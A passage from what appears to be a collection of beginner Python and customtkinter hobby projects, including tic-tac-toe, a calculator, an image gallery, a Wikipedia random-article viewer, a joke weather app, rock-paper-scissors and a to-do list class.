                self.text_area.tag_delete(tag)

            # getting all the words
            for word in content.split(" "):
                # removinga any special characters if there
                if re.sub(r"[^\w]", '', word.lower()) not in words.words():
                    # getting the starting position of incorrect word
                    position = content.find(word)
                    # marking wrong spelling red
                    self.text_area.tag_add(word, f"1.{position}", f"1.{position + len( word)}")
                    self.text_area.tag_config(word, foreground="red")


if __name__ == "__main__":
    si = SpellingChecker()
    si.mainloop()

from customtkinter import *
from PIL import Image

class Fooled(CTkToplevel):
    """A custom Tkinter Toplevel window to display a text label and a GIF image of Jerry from the 'Tom and Jerry' cartoon."""
    def __init__(self):
        """Initialize the Fooled Toplevel window."""
        super().__init__()
        self.title("")
        set_appearance_mode("light")
        self.geometry("250x250")
        
        self.label = CTkLabel(self, text="Idk, just look outside🤣")
        self.label.pack()
        self.forward_img = CTkImage(light_image=Image.open("images\\jerry.gif"), size=(199,199))
        self.front = CTkLabel(self, text="", image=self.forward_img)
        self.front.pack()


class ShowWhether(CTkToplevel):
    """A custom Tkinter Toplevel window that simulates a weather forecast process with text labels and a progress bar."""
    def __init__(self):
        """Initialize the ShowWhether Toplevel window."""
        super().__init__()
        self.title("AI weather forecast")
        set_appearance_mode("light")
        self.geometry("300x140")

        self.label = CTkLabel(self, text="Searching Location...")
        self.label.grid(row=0, padx=20, pady=20)

        self.label.after(1000, self.on_after)
        self.pb = CTkProgressBar(self, orientation="horizontal", mode="determinate")
        self.pb.grid(row=1, padx=20, pady=20)
        self.pb.set(0)
    def on_after(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Analyzing the clouds...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.on_after1)
        self.pb.set(0.25)

    def on_after1(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Looking outside your window...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.on_after2)
        self.pb.set(0.50)

    def on_after2(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Gathering last the information...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.last)
        self.pb.set(0.75)

    def last(self):
        """Finalize the weather forecast process and display the Fooled Toplevel window."""
        self.pb.set(1)
        show = Fooled()
        show.mainloop()


class Get_City(CTk):
    """A custom Tkinter main application class to get the user's location and initiate the weather forecast."""
    def __init__(self):
        """Initialize the Get_City application."""
        super().__init__()
        set_appearance_mode("light")
        self.title("AI weather forecast")

        self.geometry("400x175")
        self.label = CTkLabel(self, text="Enter your Location: ")
        self.label.pack(padx=20, pady=15)
        self.city = CTkEntry(self, placeholder_text="Enter Your city ")
        self.city.pack(padx=20, pady=10)

        self.check_weather = CTkButton(self, text="Check weather", command=self.weather)
        self.check_weather.pack(padx=20, pady=10)

    def weather(self):
        """Check if the city input is valid and initiate the weather forecast process."""
        if self.city.get() == "":
            print("Enter a city First")
        else:
            show = ShowWhether()
            show.mainloop()
if __name__ == "__main__":
    app = Get_City()
    app.mainloop()

import os
import numpy as np

class Game:
    def __init__(self):
        """Initialize a new Tic-Tac-Toe game with an empty game board."""
        self.game_arr = np.array([
                            [" ", " ", " "],
                            [" ", " ", " "],
                            [" ", " ", " "]
                         ])
        
    def update(self, row, column, new_val):
        """
        Update the game board with the player's move at the specified position.

        Parameters:
            row (int): The row index of the move.
            column (int): The column index of the move.
            new_val (str): The value of the player's move ("X" or "O").

        Raises:
            ValueError: If the new_val is not a valid move ("X" or "O").
        """
        valid = ["X", "x", "O", "o"]
        if new_val in valid:
            self.game_arr[row][column] = new_val
            self.make_grid(self.game_arr)
        else:
            print("Invalid Value!!")

    
    def make_grid(self,arr):
        """
        Display the current Tic-Tac-Toe game board.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.
        """
        print(f"""
{arr[0][0]} | {arr[0][1]} | {arr[0][2]}
----------
{arr[1][0]} | {arr[1][1]} | {arr[1][2]}
----------
{arr[2][0]} | {arr[2][1]} | {arr[2][2]}
""")

    def get_current_game(self):
        """
        Get the current state of the Tic-Tac-Toe game board.

        Returns:
            numpy.array: The 3x3 numpy array representing the game board.
        """
        return self.game_arr 
      
    def check_win(self, arr):
        """
        Check if there is a winning combination on the game board.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning combination, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        res_r = self.check_row(arr)
        if not res_r:
            res_c = self.check_col(arr)
            if not res_c:
                res_d = self.check_diag(arr)
                if not res_d:
                    return False
                else:
                    return [True,res_d[1]]
            else:
                return [True,res_c[1]]
        else:
            return [True,res_r[1]]

    
    def check_row(self, arr):
        """
        Check if any row on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning row, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        for i in arr:
            if i[0] == i[1] == i[2] != " ":
                return [True,i[0]]
        return False
        
    def check_col(self, arr):
        """
        Check if any column on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning column, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        for i in range(3):  # Assuming it's a 3x3 grid
            if arr[0][i] == arr[1][i] == arr[2][i] != " ":
                return [True, arr[0][i]]
        return False
    
    def check_diag(self, arr):
        """
        Check if any diagonal on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning diagonal, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        if arr[0][0] == arr[1][1] == arr[2][2] != " ":
            return [True,arr[0][0]]
        elif arr[0][2] == arr[1][1] == arr[2][0] != " ":
            return [True,arr[0][2]]
        else:
            return False
        
    def check_tie(self, arr) -> bool:
        """
        Check if the game has ended in a tie (draw).

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            bool: True if the game is a tie, False otherwise.
        """
        if " " in arr:
            return False
        else:
            return True
        
    def game_details(self):
        print("Enter your choice according to this: ")
        print("1. Top Left")
        print("2. Top Center")
        print("3. Top Right")
        print("4. Center Left")
        print("5. Center Center")
        print("6. Center Right")
        print("7. Bottom Left")
        print("8. Bottom Center")
        print("9. Bottom Right")


        
g = Game()
win = False
map_dict = {
            1:[0,0], 2:[0,1], 3:[0,2],
            4:[1,0], 5:[1,1], 6:[1,2],
            7:[2,0], 8:[2,1], 9:[2,2],
        }
players = {"O":"Player1", "X":"Player2"}
choices = []

while not win:
    g.game_details()
    g.make_grid(g.get_current_game())
    # getting input from player 1
    player1 = int(input("Player 1 Enter the Choice(1-9): "))
    # Checking if it's already taken
    while player1 in choices:
        print("Make another choice! It's already Taken!")
        player1 = int(input("Player 2 Enter the Choice(1-9): "))
    # updating according to the player1's choice
    g.update(map_dict[player1][0], map_dict[player1][1], "O")
    # Checking for tie
    if g.check_tie(g.get_current_game()):
        os.system('cls' if os.name == 'nt' else 'clear')
        g.make_grid(g.get_current_game())
        print("It's a tie!")
        break
    # checking if player 1 won
    check = g.check_win(g.get_current_game())
    try:
        if check[0]==True:
            os.system('cls' if os.name == 'nt' else 'clear')
            g.make_grid(g.get_current_game())
            print(f"{players[check[1]]} wins")
            win=True
            break
    except Exception:
        pass

    g.make_grid(g.get_current_game())
    choices.append(player1)
    # getting input from player 2
    player2 = int(input("Player 2 Enter the Choice(1-9): "))
    # Checking if it's already taken
    while player2 in choices:
        print("Make another choice! It's already Taken!")
        player2 = int(input("Player 2 Enter the Choice(1-9): "))
    # updating according to the player2's choice
    g.update(map_dict[player2][0], map_dict[player2][1], "X")
    # Checking for tie
    if g.check_tie(g.get_current_game()):
        os.system('cls' if os.name == 'nt' else 'clear')
        g.make_grid(g.get_current_game())
        print("It's a tie!")
        break
    # checking if player 2 won
    check2 = g.check_win(g.get_current_game())
    try:
        if check2[0]==True:
            os.system('cls' if os.name == 'nt' else 'clear')
            g.make_grid(g.get_current_game())
            print(f"{players[check2[1]]} wins")
            win=True
            break
    except Exception:
        pass
    g.make_grid(g.get_current_game())
    choices.append(player2)

from customtkinter import *
from PIL import Image
 
class App(CTk):
    def __init__(self):
        super().__init__()
        self.title("Personal Gallery")
        self.iconbitmap("images\\gallery.ico")  
        self.configure(fg_color="#181b1f")
 
        # setting up counter and images
        self.counter = 0
        # getting all the images in a list
        # If you have a lot of them, I suggest store them in a different file
        self.images = [CTkImage(light_image=Image.open("images\\forest.jpg"),size=(496.9,331.3)), 
                       CTkImage(light_image=Image.open("images\\moon.jpg"),size=(390.6,260.4)), 
                       CTkImage(light_image=Image.open("images\\mountain.jpg"),size=(654.1,436.1)), 
                       CTkImage(light_image=Image.open("images\\stone.jpg"),size=(593.7,416)), 
                       CTkImage(light_image=Image.open("images\\tree.jpg"),size=(624,416))]
         
        # images for buttons (forward and backward buttons)
        self.forward_img = CTkImage(light_image=Image.open("images\\forward.png"), size=(50,50))
        self.backward_img = CTkImage(light_image=Image.open("images\\backward.png"), size=(50,50))
 
        # label to show images
        self.il = CTkLabel(self,text="",image=self.images[self.counter])
        self.il.grid(row=0, column=0, columnspan=3, padx=10, pady=10)
 
        # buttons
        self.front = CTkButton(self, text="", image=self.forward_img, fg_color="transparent", hover_color="#181b1f", command=self.next_command)
        self.back = CTkButton(self, text="", image=self.backward_img, fg_color="transparent", hover_color="#181b1f", command=self.previous)
 
        self.front.grid(row=1, column=2, padx=10, pady=10)
        self.back.grid(row=1, column=0, padx=10, pady=10)
 
        # exit button
        self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
        self.qb.grid(row=1, column=1, padx=10, pady=10)
 
        # status bar
        self.status = CTkLabel(self, text=f"Image {self.counter + 1} of {len(self.images)}")
        self.status.grid(row=2, column=2, padx=25)
 
    def next_command(self):
        # To keep counter from being more than 4
        # (4+1)%5 = 0
        # ensures cycle
        self.counter = (self.counter + 1) % len(self.images)
        self.update()
 
    def previous(self):
        # To keep counter from being less than 0
        # (0-1)%5 = 4
        # ensures cycle
        self.counter = (self.counter - 1) % len(self.images)
        self.update()
 
    def update(self):
        # removes label from the grid
        self.il.grid_forget()
        # updating image
        self.il = CTkLabel(self,text="",image=self.images[self.counter])
        self.il.grid(row=0, column=0, columnspan=3, padx=10, pady=10)
 
        # updating status bar
        self.status = CTkLabel(self, text=f"Image {self.counter + 1} of {len(self.images)}")
        self.status.grid(row=2, column=2, padx=25)
 
if __name__ == '__main__':
    app = App()
    app.mainloop()

import requests
import wikipedia
from customtkinter import *
from tkinter import Label
import tkinter.messagebox as messagebox
import tkinter.font as tkfont
import webbrowser


class WikipediaArticle(CTk):
    def __init__(self):
        """Initialize the WikipediaArticle application."""
        super().__init__()
        # font for link
        self.custom_font = tkfont.Font(size=10, underline=True)
        # setting an empty label to avoid errors
        self.link = CTkLabel(self, text="")
        # button for generating random article
        self.get_article = CTkButton(self, text="Random Stuff", command=self.random_article_t_summary)
        self.get_article.grid(row=3, column=1 ,padx=10,pady=10)
        # button to copy article link
        self.copy_t = CTkButton(self, text="Copy Link", command=self.copy_text, fg_color="transparent")
        self.copy_t.grid(row=3, column=2 ,padx=10,pady=10)
        # button to open link in browser
        self.open_i = CTkButton(self, text="Open in browser", command=self.open_link)
        self.open_i.grid(row=3, column=0 ,padx=10,pady=10)

    def random_article_t_summary(self):
        """Generate a random Wikipedia article and display its title, summary, and link.
        uses the self.summarize_wikipedia_article() method"""
        url = requests.get("https://en.wikipedia.org/wiki/Special:Random")
        
        article_link = url.url
        title_and_summary = self.summarize_wikipedia_article(article_link)

        if title_and_summary:
            # getting link and title
            self.link = Label(self, text=article_link, fg="blue", font=self.custom_font)
            self.title = CTkLabel(self, text=title_and_summary[0])
            # getting summary
            self.random_article = CTkTextbox(self)
            self.random_article.insert("0.0", title_and_summary[1])
            self.random_article.configure(state="disabled")
            # packing title, summary, and link
            self.title.grid(row=0, column=1, padx=10)
            self.random_article.grid(row=1, column=1 ,padx=10,pady=10)
            self.link.grid(row=2, column=0, padx=10)
        
    def summarize_wikipedia_article(self,article_link):
        """
        Summarize a Wikipedia article based on its link.

        Args:
            article_link (str): The link to the Wikipedia article.

        Returns:
            list: A list containing the page title and summary of the article, or None if the article is not found.
        """
        # Extract the page title from the article link
        page_title = article_link.split("/")[-1]

        try:
            # Get the Wikipedia page based on the page title
            page = wikipedia.page(page_title)

            # Retrieve the summary of the page
            summary = page.summary

            return [page_title,summary]

        except wikipedia.exceptions.PageError:
            message = CTkLabel(self, text="Something went wrong! Try Again!")
            message.grid(row=4, column=1,padx=10, pady=10)
            return None
        
    def copy_text(self):
        # Get the text from the label
        text = self.link.cget("text")

        # Set the text to the clipboard
        self.clipboard_clear()
        self.clipboard_append(text)

        messagebox.showinfo("Copy", "Text copied to clipboard!")

    def open_link(self):
        try:
            webbrowser.open(self.link.cget("text"))
        except Exception:
            message = CTkLabel(self, text="Get the link first!")
            message.grid(row=4, column=1,padx=10, pady=10)
        
if __name__ == "__main__":
    app = WikipediaArticle()
    app.mainloop()

import random
import time
from os import system

#constants
MAX_ATTEMPTS = 10
MIN_NUMBER = 1
MAX_NUMBER = 50


def introduce() -> None:
    """Introduces player to the rules of the game."""
    print("You will get a total of 10 guesses.")
    time.sleep(2)
    print("In 10 guesses you have to guess the correct no. between 1 to 50.")
    time.sleep(2)
    print("READY???")
    for count in range(1, 4):
        print(count)
        time.sleep(1)
    print("GO")
    time.sleep(1)
    system("cls")

def play_number_guessing_game() -> None:
    """
    Plays the number guessing game.
    
    A random number is generated between MIN_NUMBER and MAX_NUMBER.

    The player is prompted to guess the number within a limited number of attempts.
    Feedback is provided after each guess.
    
    The game ends when the player guesses the correct number or exhausts all attempts.
    """
    num = random.randint(MIN_NUMBER, MAX_NUMBER)
    guess_list = []

    introduce()
    attempt = 1
    while attempt != (MAX_ATTEMPTS + 1):
        try:
            guess = int(input("Guess a no.:"))

        except ValueError:
            print("Enter a valid number!!")
            continue

        if guess == num:
            print(f"\n\nYou got it right in {attempt} attempts.\nThe no. is {num}")
            return
        elif guess in guess_list:
            print("You already guessed this no. before!")
        elif guess > num:
            print(f"The no. is less than {guess}")
            attempt += 1
            print(11-attempt,"Attempts left")
        elif guess < num:
            print(f"The no. is greater than {guess}")
            attempt += 1
            print(11-attempt,"Attempts left")
        guess_list.append(guess)

    if attempt>=10:
        system("cls")
        print("GAME OVER")
        print("The correct no. was",num)

if __name__ == "__main__":
    play_number_guessing_game()

# Calculator App
from customtkinter import CTk, CTkEntry, CTkButton

class App(CTk):
    def __init__(self):
        super().__init__()

        self.title("Calculator")
        # width
        self.evwidth = 400
        self.bwidth1 = self.evwidth/4 - 20

        # colors
        self.configure(fg_color="#181b1f")
        self.obc = "#fb2f64"
        self.obch = "#cc2753"
        self.nbc = "#181b1f"
        self.nbch= "#14161a"

        # values
        self.values = CTkEntry(master=self, width=self.evwidth)
        self.values.grid(row=0, column=0, columnspan=4, padx=10, pady=10)

        # number buttons
        self.button_1 = CTkButton(master=self, text="1", command=lambda: self.g_num("1"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_2 = CTkButton(master=self, text="2", command=lambda: self.g_num("2"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_3 = CTkButton(master=self, text="3", command=lambda: self.g_num("3"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_4 = CTkButton(master=self, text="4", command=lambda: self.g_num("4"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_5 = CTkButton(master=self, text="5", command=lambda: self.g_num("5"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_6 = CTkButton(master=self, text="6", command=lambda: self.g_num("6"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_7 = CTkButton(master=self, text="7", command=lambda: self.g_num("7"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_8 = CTkButton(master=self, text="8", command=lambda: self.g_num("8"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_9 = CTkButton(master=self, text="9", command=lambda: self.g_num("9"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_0 = CTkButton(master=self, text="0", command=lambda: self.g_num("0"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)

        # displaying number buttons
        self.button_1.grid(row=3, column=0, pady=5, padx=10)
        self.button_2.grid(row=3, column=1, pady=5, padx=10)
        self.button_3.grid(row=3, column=2, pady=5, padx=10)

        self.button_4.grid(row=2, column=0, pady=5, padx=10)
        self.button_5.grid(row=2, column=1, pady=5, padx=10)
        self.button_6.grid(row=2, column=2, pady=5, padx=10)

        self.button_7.grid(row=1, column=0, pady=5, padx=10)
        self.button_8.grid(row=1, column=1, pady=5, padx=10)
        self.button_9.grid(row=1, column=2, pady=5, padx=10)
        self.button_0.grid(row=4, column=0, pady=5, padx=10)
    
        # operation buttons
        self.add = CTkButton(master=self, text="+", command=lambda: self.operate("+"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.sub = CTkButton(master=self, text="-", command=lambda: self.operate("-"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.div = CTkButton(master=self, text="/", command=lambda: self.operate("/"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.mul = CTkButton(master=self, text="*", command=lambda: self.operate("*"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)

        self.equal = CTkButton(master=self, text="=", command=self.evaluate, width=self.bwidth1)
        self.clear = CTkButton(master=self, text="clear", command=self.all_clear, width=self.bwidth1)

        # displaying operation buttons
        self.add.grid(row=1, column=3, pady=5, padx=10)
        self.sub.grid(row=2, column=3, pady=5, padx=10)
        self.div.grid(row=3, column=3, pady=5, padx=10)
        self.mul.grid(row=4, column=3, pady=5, padx=10)

        self.equal.grid(row=4, column=1, pady=5, padx=10)
        self.clear.grid(row=4, column=2, pady=5, padx=10)


    def g_num(self, n):
        new_n = self.values.get()+n
        self.values.delete(0, END)
        self.values.insert(0, new_n)

    def all_clear(self):
        self.values.delete(0, END)

    def operate(self, o):
        self.f_num = int(self.values.get())
        self.op = o
        self.values.delete(0, END)

    def evaluate(self):
        s_num = int(self.values.get())
        self.values.delete(0, END)

        if self.op == "+":
            self.values.insert(0, self.f_num + s_num)
        elif self.op == "-":
            self.values.insert(0, self.f_num - s_num)
        elif self.op == "*":
            self.values.insert(0, self.f_num * s_num)
        elif self.op == "/":
            self.values.insert(0, self.f_num / s_num)


if __name__ == "__main__":
    app = App()
    app.mainloop()

from PIL import Image
import os
from pathlib import Path

def compress_image(image_path:str) -> None:
    '''Takes up a PNG file, compresses it and converts it to a WEBP.
    Uses the pillow, pathlib and os module to do this.
    Args:
        image_path: The path to the image (str)'''
    try:
        compression_level = 6
        img_nm = Path(os.path.basename(image_path))
        compressed_png_path =Path(f"images_webp/{img_nm}")

        if not(os.path.exists(compressed_png_path.with_suffix(".webp"))):
            # opening image
            img = Image.open(Path(image_path))
            # compressing image
            img.save(compressed_png_path, format="png", optimize=True, compress_level=compression_level)
            # opening compressed image
            img_compressed = Image.open(compressed_png_path)
            # Convert the compressed PNG to WebP
            img_compressed.save(compressed_png_path.with_suffix(".webp"), format="webp")
            # removing the compressed PNG
            os.remove(compressed_png_path)
        else:
            print("File already exists")

    except FileNotFoundError as e:
        print(f"Error: {e}")

paths = Path("images").glob("**/*.png")
for path in paths:
    compress_image(str(path))

from customtkinter import *
import random
from PIL import Image

class Dice(CTk):
    def __init__(self):
        super().__init__()

        self.title("Dice Stimulator")

        # Getting images into CTk
        self.dice1 = CTkImage(light_image=Image.open("images/dice1.png"), size=(300,300))
        self.dice2 = CTkImage(light_image=Image.open("images/dice2.png"), size=(300,300))
        self.dice3 = CTkImage(light_image=Image.open("images/dice3.png"), size=(300,300))
        self.dice4 = CTkImage(light_image=Image.open("images/dice4.png"), size=(300,300))
        self.dice5 = CTkImage(light_image=Image.open("images/dice5.png"), size=(300,300))
        self.dice6 = CTkImage(light_image=Image.open("images/dice6.png"), size=(300,300))

        # putting them in a list for random choice
        self.image_list = [self.dice1, self.dice2, self.dice3, self.dice4, self.dice5, self.dice6]
        # Information
        label = CTkLabel(self, text="press enter or click the button")
        label.grid(row=0, padx=10, pady=10)
        # Button to roll the dice
        btn = CTkButton(self, text="Roll The Dice", command=self.roll)
        btn.grid(row=2, padx=10, pady=10)
        # Connecting button to the enter key
        self.bind("<Return>", lambda event: btn.invoke())

    def roll(self):
        # choosing a random die face
        img = random.choice(self.image_list)
        # displaying it on the label
        self.label = CTkLabel(self, text="", image=img)
        self.label.grid(row=1, padx=10, pady=10)

if __name__ == "__main__":
    app = Dice()
    app.mainloop()

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options

from bs4 import BeautifulSoup
import requests

from customtkinter import *
from PIL import Image
from io import BytesIO

class Motivator(CTk):
    """A GUI application for displaying random motivational images. When you are sad."""
    def __init__(self) -> None:
        """
        Initialize the Motivator GUI.

        Sets up the main window, question label, image label, and "Show Motivation" button.
        """
        super().__init__()

        self.title("Random Motivation")
        self.geometry("600x600")
        # getting image
        self.question = CTkLabel(self, text="Are you sad? Click the button below.")
        self.question.grid(row=0, pady=10)
        self.sad_image = CTkImage(light_image=Image.open("images/sad.jpg"), size=(300,300))
        # making image label
        self.ilsad = CTkLabel(self, image=self.sad_image, text="")
        # displaying image label
        self.ilsad.grid(row=1, pady=10)
        # Button to get a random motivational image
        self.show_motivation = CTkButton(self, text="Show Motivation", command=self.show_image).grid(row=2, pady=10)

    def get_img_url(self) -> str:
        """
        Retrieve a random motivational image URL from Unsplash.

        Returns:
            str: The URL of the random motivational image.
        """
        print("Getting image...")
        print("Please wait...")
        print("It might take a while...")

        # configuring chrome options so that the browser doesn't open up
        chrome_options = Options()
        chrome_options.add_argument("--headless")  # Run Chrome in headless mode (no GUI)
        chrome_options.add_argument("--disable-gpu")  # Required on some systems to avoid issues

        # setting up selenium' chrome driver to get the web page
        chrome_driver_path = "C:\Development\chromedriver.exe"
        service = Service(executable_path=chrome_driver_path)
        driver = webdriver.Chrome(service=service, options=chrome_options)

        # getting the webpage
        driver.get("https://source.unsplash.com/random/1080x810?motivational+quote")
        # getting its source code
        source = driver.page_source
        # making a soup of the html code to parse through it well
        soup = BeautifulSoup(source, 'html.parser')
        # finding the source url of the image
        img_url = soup.find('img')['src']
        # quitting the driver (a good practice)
        driver.quit()

        print("Got the image showing it...")
        return img_url
    
    def show_image(self) -> None:
        """
        Fetch and display the image got from self.get_img_url.

        Uses the get_img_url method to fetch the image URL and displays it on the GUI.
        """
        # getting url from the above function
        img_url = self.get_img_url()
        # getting the source code of the image's web page
        response = requests.get(img_url)
        # converting code of image to an image readable by python
        image = Image.open(BytesIO(response.content))
        # getting the image in customtkinter
        img = CTkImage(image, size=(540,405))
        print("showing the image...")
        # showing the image with the use of label
        label = CTkLabel(self, image=img, text='')
        label.grid(row=1, pady=10)


if __name__ == "__main__":
    app = Motivator()
    app.mainloop()

# FILE: rock_paper_scissors_gui.py
from customtkinter import *
from PIL import Image
from rock_paper_scissors import game


class RPS(CTk):
    """
    A class representing the Rock Paper Scissors game GUI.

    Inherits from customtkinter.CTk.

    Attributes:
    None

    Methods:
    __init__: Initializes the GUI and sets up the game window.
    check: Function to handle the player's choice and display the game result.

    Usage:
    app = RPS()
    app.mainloop()
    """
    def __init__(self) -> None:
        """
        Initializes the Rock Paper Scissors GUI.

        Creates and configures the main game window.

        Parameters:
        None

        Returns:
        None
        """
        super().__init__()
        self.title("Rock Paper Scissors")
        self.geometry("500x600")

        self.Label = CTkLabel(self, text="Choose Rock Paper or Scissors").grid(row=0,column=2,padx=150)

        # Create an instance of the CTkImage class for the 'rock' choice image
        # using the light_image parameter to load the image file from the given path.
        # The size parameter is set to (100, 100) to resize the image to the specified dimensions.
        self.rock_img = CTkImage(light_image=Image.open("rock.png"), size=(100,100))
        # Create an instance of the CTkButton class for the 'rock' choice button.
        # The image parameter is set to the previously created CTkImage instance,
        # so the button will display the 'rock' image as its icon.
        # The text parameter is set to an empty string to hide any text on the button.
        # The fg_color parameter is set to "#242424", which represents the foreground color (text color) of the button.
        # The hover_color parameter is set to "#242424", which represents the background color of the button when hovered.
        # The command parameter is set to a lambda function that calls the 'self.check()' method with argument 0,
        # representing the 'rock' choice, when the button is clicked.
        self.ilr = CTkButton(self, image=self.rock_img, text="", fg_color="#242424", hover_color="#242424", command=lambda: self.check(0))
        # Position the 'rock' choice button in the grid layout at row 1 and column 2.
        # The padx parameter is set to 150 to add horizontal padding around the button to create spacing.
        self.ilr.grid(row=1,column=2,padx=150)

        self.paper_img = CTkImage(light_image=Image.open("paper.png"), size=(100,100))
        self.ilp = CTkButton(self, image=self.paper_img, text="", fg_color="#242424", hover_color="#242424", command=lambda: self.check(1))
        self.ilp.grid(row=2,column=2,padx=150)

        self.scissors_img = CTkImage(light_image=Image.open("scissors.png"), size=(100,100))
        self.ils = CTkButton(self, image=self.scissors_img, text="",fg_color="#242424", hover_color="#242424", command=lambda: self.check(2))
        self.ils.grid(row=3,column=2,padx=150)


        self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
        self.qb.grid(row=4,column=2,padx=150,pady=10)

    def check(self, player_choice: int) -> None:
        """
        Function to handle the player's choice and display the game result.

        Parameters:
        player_choice (int): The player's choice. Should be an integer between 0 and 2,
                             where 0 represents 'rock', 1 represents 'paper', and
                             2 represents 'scissors'.

        Returns:
        None
        """
        result = game(player_choice)
        res1 = CTkLabel(self, text=result[0],text_color ="#ADD8E6").grid(row=5,column=2,padx=150,pady=10)
        res2 = CTkLabel(self, text=result[1], text_color="pink").grid(row=6,column=2,padx=150,pady=10)
        res3 = CTkLabel(self, text=result[2]).grid(row=7,column=2,padx=150,pady=10)


if __name__ == "__main__":
    app = RPS()
    app.mainloop()

# FILE: rock_paper_scissors.py
import random

def game(your_choice: int) -> list:
    """
    Function to play a single round of Rock-Paper-Scissors game.

    Parameters:
    your_choice (int): The player's choice. Should be an integer between 0 and 2,
                       where 0 represents 'rock', 1 represents 'paper', and
                       2 represents 'scissors'.

    Returns:
    list: A list containing the results of the game round.
          The list elements are as follows:
          1. The player's choice.
          2. The computer's choice.
          3. The result of the round, which can be one of the following strings:
             - "Tie🤝" if the player and computer made the same choice.
             - "You won" if the player's choice beats the computer's choice.
             - "You lost" if the player's choice loses to the computer's choice.
    """
    choices = ["rock", "paper", "scissors"]
    computer_choice = random.randint(0, 2)
    
    # Create a dictionary to map the player's and computer's choices to outcomes
    outcomes = {
        (0, 0): "It's a Tie",
        (0, 1): "You lost",
        (0, 2): "You won",
        (1, 0): "You won",
        (1, 1): "It's a Tie",
        (1, 2): "You lost",
        (2, 0): "You lost",
        (2, 1): "You won",
        (2, 2): "It's a Tie",
    }

    result = [f"Your choice:\n{choices[your_choice]}", f"Computer's choice:\n{choices[computer_choice]}", outcomes[(your_choice, computer_choice)]]
    return result

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Well Done Champ</title>
</head>

<body>
    <script src="https://unpkg.com/@lottiefiles/lottie-player@latest/dist/lottie-player.js"></script>
    <lottie-player src="https://assets6.lottiefiles.com/packages/lf20_pKiaUR.json" background="transparent" speed="1" style="width: 300px; height: 300px;" loop autoplay></lottie-player>

</body>

</html>

import webbrowser
class TaskAlreadyExistsError(Exception):
    """Exception raised when a task already exists in the list."""
    def __init__(self, message):
        super().__init__(message)

class TaskNotFoundError(Exception):
    """Exception raised when a task is not found in the list."""
    def __init__(self, message):
        super().__init__(message)

class ToDo:
    """Class representing a to-do list."""

    def __init__(self) -> None:
        """Initialize an empty to-do list. Which is a dictionary"""
        self.tasks = {}

    def add_task(self, task:str, deadline:str) -> str:
        """Add a new task to the list.

        Args:
            task (str): The task description.
            deadline (str): The deadline in dd-mm-yy format.

        Returns:
            str: A confirmation message indicating that the task has been added.

        Raises:
            TaskAlreadyExistsError: If the task already exists in the list.
            TypeError: If the task parameter is not a string.
            ValueError: If the task parameter is an empty string.
        """
        if not isinstance(task, str):
            raise TypeError("Task must be a string.")
        if not task:
            raise ValueError("Task cannot be an empty string.")
        if task in self.tasks.keys():
            raise TaskAlreadyExistsError(f"{task} already exists in the list.")
        else:
            self.tasks[task] = {'status':False, 'deadline':deadline}
            print(self.tasks)
            return f"Task has been added to the list."
        
    def finish_task(self, task:str) -> str:
        """
        Mark a task as finished and open a web page for celebration.

        Args:
            task (str): The task to mark as finished.

        Returns:
            str: A message confirming that the task has been marked as finished.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            self.tasks[task]['status'] = True
            webbrowser.open("well_done.html")
            return "Task finished"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def remove_task(self, task:str) ->str:
        """
        Remove a task from the task list.

        Args:
            task (str): The task to remove.

        Returns:
            str: A message confirming that the task has been removed.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            del self.tasks[task]
            return "Task removed"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def update_task(self, task:str, new_deadline:str) -> str:
        """
        Update the status and deadline of a task.

        Args:
            task (str): The task to update.
